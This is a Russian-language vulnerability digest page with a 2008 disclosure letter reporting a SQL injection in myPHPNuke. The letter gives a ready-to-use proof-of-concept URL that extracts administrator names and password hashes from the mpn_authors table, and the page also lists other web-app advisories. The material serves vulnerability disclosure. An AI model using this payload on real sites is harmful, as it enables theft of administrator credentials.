Дополнительная информация

Ежедневная сводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

TransLucid 1.75 (fckeditor) Remote Arbitrary File Upload

BizDirectory <== 2.04 Cross-Site Scripting Vulnerabilities

CS-Cart <= 1.3.5 SQL Injection

From:	MustLive <mustlive_(at)_websecurity.com.ua>
Date:	4 сентября 2008 г.
Subject:	SQL Injection vulnerability in myPHPNuke

Здравствуйте 3APA3A!

Сообщаю вам о найденной мною новой SQL Injection уязвимости в системе
myPHPNuke.

SQL Injection:

http://site/printfeature.php?artid=-1%20union%20select%20null,null,
aid,pwd,null,null,null,null%20from%20mpn_authors%20limit%200,1

Уязвимы версии до myPHPNuke 1.8.8_8rc2 (а в последней версии системы
возможна ограниченная SQL Injection атака).

Дополнительная информация о данной уязвимости у меня на сайте:
http://websecurity.com.ua/2398/

Best wishes & regards,
MustLive
Администратор сайта
http://websecurity.com.ua